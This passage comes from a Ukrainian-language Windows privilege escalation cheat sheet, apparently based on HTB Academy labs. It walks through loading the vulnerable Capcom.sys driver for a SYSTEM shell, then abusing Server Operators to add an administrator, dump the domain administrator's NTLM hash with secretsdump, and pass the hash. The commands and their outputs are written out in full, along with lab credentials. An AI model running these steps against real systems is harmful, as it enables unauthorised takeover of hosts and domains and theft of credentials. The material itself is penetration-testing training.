▸ SeLoadDriverPrivilege Disabled = є але неактивний; потрібен elevated shell або EnableSeLoadDriverPrivilege.exe

```
C:\htb> cl /DUNICODE /D_UNICODE EnableSeLoadDriverPrivilege.cpp
```

CMD

```
Microsoft (R) C/C++ Optimizing Compiler Version 19.28.29910 for x64
Copyright (C) Microsoft Corporation.  All rights reserved.

EnableSeLoadDriverPrivilege.cpp
Microsoft (R) Incremental Linker Version 14.28.29910.0
Copyright (C) Microsoft Corporation.  All rights reserved.

/out:EnableSeLoadDriverPrivilege.exe
```

OUT

▸ Без помилок компіляції = EnableSeLoadDriverPrivilege.exe готовий; потрібен VS2019 Developer Command Prompt

```
C:\htb> reg add HKCU\System\CurrentControlSet\CAPCOM /v ImagePath /t REG_SZ /d "\??\C:\Tools\Capcom.sys"
reg add HKCU\System\CurrentControlSet\CAPCOM /v Type /t REG_DWORD /d 1
```

CMD

```
The operation completed successfully.
The operation completed successfully.
```

OUT

▸ Обидва "completed successfully" = Capcom.sys зареєстрований у реєстрі; \??\ = NT Object Path

```
C:\htb> EnableSeLoadDriverPrivilege.exe
```

CMD

```
whoami:
WS01\htb-student
SeLoadDriverPrivilege Enabled
NTSTATUS: 00000000, WinError: 0
```

OUT

▸ SeLoadDriverPrivilege Enabled + NTSTATUS 00000000 = успіх; тепер перевірити завантаження Capcom

```
PS C:\htb> .\DriverView.exe /stext drivers.txt
cat drivers.txt | Select-String -pattern Capcom
```

PS

```
Driver Name      : Capcom.sys
Filename         : C:\Tools\Capcom.sys
Address          : fffff801`3c1a0000
Size             : 10240
```

OUT

▸ Driver Name: Capcom.sys = драйвер завантажений у ядро; тепер ExploitCapcom для SYSTEM

```
PS C:\htb> .\ExploitCapcom.exe
```

PS

```
[*] Capcom.sys exploit
[*] Capcom.sys driver handle: FFFFFFFF80001234
[+] Token stealing was successful
[+] The SYSTEM shell was launched
[+] nt authority\system
```

OUT

▸ [+] Token stealing successful + SYSTEM shell launched = нова консоль від NT AUTHORITY\SYSTEM

```
C:\htb> EoPLoadDriver.exe System\CurrentControlSet\Capcom c:\Tools\Capcom.sys
```

CMD

```
[+] Enabling SeLoadDriverPrivilege
[+] SeLoadDriverPrivilege Enabled
[+] Loading Driver: \Registry\User\S-1-5-21-....\System\CurrentControlSet\Capcom
NTSTATUS: c000010e, WinError: 0
[+] Loaded!
```

OUT

▸ [+] Loaded = автоматизований варіант через EoPLoadDriver; потім запускати ExploitCapcom.exe

⚠ **УВАГА:** SeLoadDriverPrivilege через HKCU не працює на Windows 10 версії 1803+. На нових системах потрібен інший підхід (HKLM або інший вектор).

Очищення Print Operators

```
C:\htb> reg delete HKCU\System\CurrentControlSet\Capcom
```

CMD

```
The operation completed successfully.
```
OUT

▸ Ключ видалено = Capcom.sys не буде завантажуватись при наступному старті системи

9.6 Server Operators

Server Operators можуть керувати сервісами Windows. Знаходимо сервіс що запускається як SYSTEM, і замінюємо його бінарний шлях на нашу команду. Коли сервіс стартує — наша команда виконується від імені SYSTEM.

```
C:\htb> sc qc AppReadiness
```
CMD

```
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: AppReadiness
        TYPE               : 20  WIN32_SHARE_PROCESS
        START_TYPE         : 3   DEMAND_START
        BINARY_PATH_NAME   : C:\Windows\System32\svchost.exe -k AppReadiness -p
        SERVICE_START_NAME : LocalSystem
```
OUT

▸ SERVICE_START_NAME = LocalSystem = запускається як SYSTEM; замінити BINARY_PATH_NAME

```
C:\htb> c:\Tools\PsService.exe security AppReadiness
```
CMD

```
SERVICE_NAME: AppReadiness
DISPLAY_NAME: App Readiness

        [ALLOW] NT AUTHORITY\SYSTEM
                All

        [ALLOW] BUILTIN\Administrators
                All

        [ALLOW] BUILTIN\Server Operators
                All
```
OUT

▸ [ALLOW] BUILTIN\Server Operators All = повний контроль; можна змінити бінарний шлях

```
C:\htb> net localgroup Administrators
```

CMD

```
Alias name     administrators
Members
-------------------------------------------------------------------------------
Administrator
The command completed successfully.
```

OUT

▸ server_adm відсутній = базова лінія до атаки; після атаки перевірити знову

```
C:\htb> sc config AppReadiness binPath= "cmd /c net localgroup Administrators s
er_adm /add"
```

CMD

```
[SC] ChangeServiceConfig SUCCESS
```

OUT

▸ ChangeServiceConfig SUCCESS = бінарний шлях змінено; при старті сервіс виконає нашу команду

```
C:\htb> sc start AppReadiness
```

CMD

```
[SC] StartService FAILED 1053:

The service did not respond to the start or control request in a timely fashion.
```

OUT

▸ FAILED 1053 = НОРМАЛЬНО та очікувано; cmd.exe не є сервісом але команда вже виконалась

ℹ Сервіс "падає" бо cmd.exe не відповідає на Service Control Manager запити. Це очікувана поведінка — команда net localgroup вже виконалась до падіння.

```
C:\htb> net localgroup Administrators
```

CMD

```
Alias name     administrators
Members
-------------------------------------------------------------------------------
Administrator
server_adm
The command completed successfully.
```

OUT

▸ server_adm у Administrators = ми локальні адміни; перевірити доступ через crackmapexec

```
kali@htb:~$ crackmapexec smb 10.129.43.9 -u server_adm -p 'HTB_@cademy_stdnt!'
```

SH

```
SMB         10.129.43.9     445    DC01             [*] Windows Server 2019 Standard 17763 x64
SMB         10.129.43.9     445    DC01             [+] INLANEFREIGHT.LOCAL\server_adm:HTB_@cademy_stdnt! (Pwn3d!)
```

OUT

▸ Pwn3d! = підтверджений адмін доступ до DC; тепер secretsdump для витягу хешів

```
kali@htb:~$ secretsdump.py server_adm@10.129.43.9 -just-dc-user administrator
```

SH

```
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:cf3a5525ee9414229e66279623ed5c58:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:9d769b33e9b7a5f9df...
[*] Cleaning up...
```

OUT

▸ Administrator:500:...:cf3a5525... = NTLM хеш Domain Admin для Pass-the-Hash або злому

✓ **TIP:** Pass-the-Hash: `psexec.py -hashes aad3b435b51404ee:cf3a5525ee9414229e66279623ed5c58 administrator@10.129.43.9`

Розділ 10: Подальший напрямок вивчення

Цей довідник охоплює основні вектори підвищення привілеїв у Windows. Наступні теми для поглибленого вивчення:

10.1 Теми для розвитку

Тема	Ресурс	Пріоритет
Kernel exploits (MS16-032, CVE-2021-36934)	Exploit-DB, GitHub PoC	КРИТИЧНИЙ
DLL Hijacking (PATH, WinSxS)	HTB Academy, OWASP	КРИТИЧНИЙ
Unquoted Service Paths	PowerSploit, WinPEAS	СЕРЕДНІЙ
AlwaysInstallElevated (MSI PrivEsc)	GTFOBins Windows	СЕРЕДНІЙ
Credential Hunting (Registry, Files, Memory)	LaZagne, SharpDPAPI	КРИТИЧНИЙ
Token Manipulation (Incognito)	Metasploit, Mimikatz	СЕРЕДНІЙ
Scheduled Tasks abuse	schtasks /query	НИЗЬКИЙ
Autologon credentials (Registry)	HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon	СЕРЕДНІЙ

10.2 Автоматизовані інструменти перерахування

Інструмент	Мова	Призначення

WinPEAS	C# / bat	Повне автоматизоване перерахування PrivEsc векторів
PowerUp	PowerShell	Сервіси, PATH, слабкі дозволи
Seatbelt	C#	Глибока системна розвідка (голубий/червоний тім)
SharpUp	C#	C# порт PowerUp для обходу AMSI
BeRoot	Python	Крос-платформний PrivEsc checker
PrivescCheck	PowerShell	Детальний звіт з рекомендаціями

⚠ **УВАГА:** Автоматизовані інструменти генерують значно більше шуму ніж ручне перерахування. У реальних тестах — спочатку вручну, потім автоматика лише для підтвердження.

10.3 Наступні кроки після отримання SYSTEM

Після підвищення привілеїв до SYSTEM або Domain Admin пріоритети такі: витяг всіх credentials з LSASS та NTDS.dit, встановлення persistence (якщо авторизовано), документування всього ланцюжка атаки з доказами (скріни, логи команд), та очищення артефактів атаки після завершення тесту.

✓ **TIP:** Документувати кожну зміну системи в реальному часі. Після тесту надати клієнту повний звіт з кроками відтворення та рекомендаціями щодо виправлення кожного знайденого вектора.

ℹ Методологія Windows PrivEsc HTB Academy охоплює також: Credential Hunting, Additional Techniques та Windows Security Concepts. Цей довідник — частина 1 з повного курсу.

---

root@htb:~/privesc# exit

Windows PrivEsc Довідник · Part I · HTB Academy

Для легального використання в авторизованих тестах на проникнення